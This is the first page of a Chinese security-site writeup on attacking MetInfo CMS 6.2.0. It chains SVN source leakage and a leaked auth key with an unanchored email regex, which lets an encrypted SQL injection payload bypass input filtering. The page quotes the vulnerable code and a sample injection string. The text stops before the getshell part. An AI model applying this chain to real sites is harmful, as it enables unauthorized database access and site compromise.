欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳

来源:本站整理 作者:佚名 时间:2019-10-06 TAG: 我要投稿


 
今天公司做技术分享,分享了项目中的一个攻击metinfo的案例,很有意思的攻击链,记录下。
 
svn泄露
svn是一个开放源代码的版本控制系统,如果在网站中存在.svn目录,那么我们可以拿到网站的源代码,方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时,Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/
在目标站中发现了http://php.local/.svn/目录泄露源代码,发现是metinfo cms,拿到了位于config/config_safe.php中的key,这个key起到了很大作用。
什么是key呢?为什么要有这个key呢?
在metinfo安装完成后,会在config/config_safe.php写入一个key,这个key是用来加密解密账户信息的,你可以在app/system/include/class/auth.class.php看到加解密算法。

可以看到加解密采用了$this->auth_key.$key作为盐值,$key默认为空,那么这个$this->auth_key在哪定义的呢?
config/config.inc.php:109

有了这个key,我们可以自己针对性去加密解密程序密文。
有什么用呢?大部分的cms都会有全局参数过滤,而metinfo的全局过滤简直变态,我们很难直接从request中找到可用的sql注入,而加了密之后的参数一半不会再进行过滤了,我们可以找下可控的加密参数。
 
正则匹配导致的注入
全局搜索$auth->decode寻找可控的参数,并且不走过滤的。

app/system/user/web/getpassword.class.php:93
public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
可以看到$email直接从$_M['form']['p']中经过$auth->decode 解密获取,并没有进行过滤,然后在get_user_by_email($email)中代入数据库查询。但是经过了is_email($email)判断是否为正确的邮箱地址。
跟进app/system/include/function/str.func.php:26
function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
很正常的正则表达式,但是唯一缺少的是^起始符!那么我们构造如' and 1=1-- 1@qq.com也会返回true!
email要经过$auth->decode解密,这个时候我们的key就派上用场了,我们可以使用$auth->encode()来加密我们的payload传进去,构成注入。
将auth类自己搞一份出来。
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);

[1] [2] [3] [4] [5]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载